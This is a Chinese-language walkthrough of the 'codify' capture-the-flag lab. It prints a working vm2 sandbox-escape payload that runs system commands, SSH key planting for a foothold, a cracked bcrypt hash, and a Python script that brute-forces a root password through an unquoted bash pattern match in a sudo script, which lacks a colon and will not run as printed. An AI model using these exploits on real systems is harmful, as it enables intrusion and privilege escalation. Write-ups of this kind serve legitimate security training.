codify

1
2
3
4
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
3000/tcp open http Node.js Express framework

通过nmap扫描主机得到的服务,3000和80端口有http服务
image.png
80端口加载不出来,其中3000端口是这样的,他告诉我这里可以用一些js再沙箱中,我们自然想到了沙箱逃逸
我又进一步再about us中发现了他其实vm2沙箱逃逸,于是我去网上搜索了解该漏洞
再nodejs中有作用域特点,不同的js文件其变量和函数并不互通的,想要互通需要使用exports这个接口,
还有一种global全局对象其下有些全局变量可以直接访问,process和console就是,global关键字也可以声明一个全局变量
vm沙箱原理就是通过创建一个新的作用域,让代码在其中运行,这样变形成了隔离,沙箱可以访问global中的属性,访问不了本地属性
在global外创建沙箱环境,防止调用global中的变量,所以沙箱逃逸的关键在于如何引入global的变量,

1
2
3
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

那么我们是如何实现逃逸的呢?首先这里的this指向的是当前传递给runInNewContext()的对象,这个对象不属于沙箱环境,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Function的constructor),最后的()是调用这个用Function的constructor生成的函数,最终返回一个global对象(来自百度)
一般我们都是直接用别人写好的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();

const code = `
cmd = 'id'
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));

现成的代码,直接带入,运行,返回了uid=1001(svc) gid=1001(svc) groups=1001(svc)
我现在就可以使用反弹shell了,emmm报错了用不了
但是这台机子开了ssh我们可以使用免密登录
先用ssh-keygen获得id_rsa和id_rsa.pub
然后将id_rsa.pub上传到靶机~/.ssh/authorized_keys,然后就可以用ssh 用户名@ip -i id_rsa
在上传文件时发现了用户名为svc,创建/home/svc/.ssh/authorized_keys这个文件,然后写入
成功登录
登录的用户不是root所以需要进一步提权,进入home目录时就发现了joshua用户

1
2
3
4
drwxr-xr-x  4 joshua joshua 4096 Sep 12 17:10 .
drwxr-xr-x 18 root root 4096 Oct 31 07:57 ..
drwxrwx--- 3 joshua joshua 4096 Nov 2 12:22 joshua
drwxr-x--- 5 svc svc 4096 Nov 19 06:20 svc

看起来joshua权限比svc高,但是权限问题我不能直接在joshua目录下建立.ssh目录,所以不能直接用相同方式直接登录Joshua的账号
然后再/var/www/contact/tickets.db中发现了这个,使用strings命令将其中可读部分cat出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
SQLite format 3
otableticketstickets
CREATE TABLE tickets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT,
topic TEXT,
description TEXT,
status TEXT
)P

Ytablesqlite_sequencesqlite_sequence

CREATE TABLE sqlite_sequence(name,seq)

tableusersusers

CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
))

indexsqlite_autoindex_users_1users

joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets

Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

然后搜索了相关的sqllite数据库文件,大致看得出有个tickets,sqlite_sequence,users表,其中users表中有账号密码,
下面就是joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2直接登录是不可能的了,明显不是明文
然后用john the ripper破解密文,得到密码成功登录joshua,再user目录中得到了第一个flag

1
2
3
joshua@codify:~$ cat user.txt
aefc4bfea0469608b47c34e30521dd1c
joshua@codify:~$

使用sudo -l,看看能使用root权限

1
2
3
4
5
6
7
8
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh

mysql-backup.sh可以运行,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

我们可以看到里面的源码,这里的漏洞出自于[[db_pass == user_pass]]
再bash中[[ ]]提供了更多的功能包括模式匹配,所以再使用[[ ]],来比较字符串时需要使用引号来避免模式匹配,
image.png
所以我们可以编写脚本对密码进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import string
import subprocess

def check_password(p):
command = f"echo '{p}*' | sudo /opt/scripts/mysql-backup.sh"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return "Password confirmed!" in result.stdout

charset = string.ascii_letters + string.digits
password = ""
is_password_found = False

while not is_password_found:
for char in charset:
if check_password(password + char)
password += char
print(password)
break
else:
is_password_found = True

得到密码登录root用户后,可以再root目录下拿到最后一个flag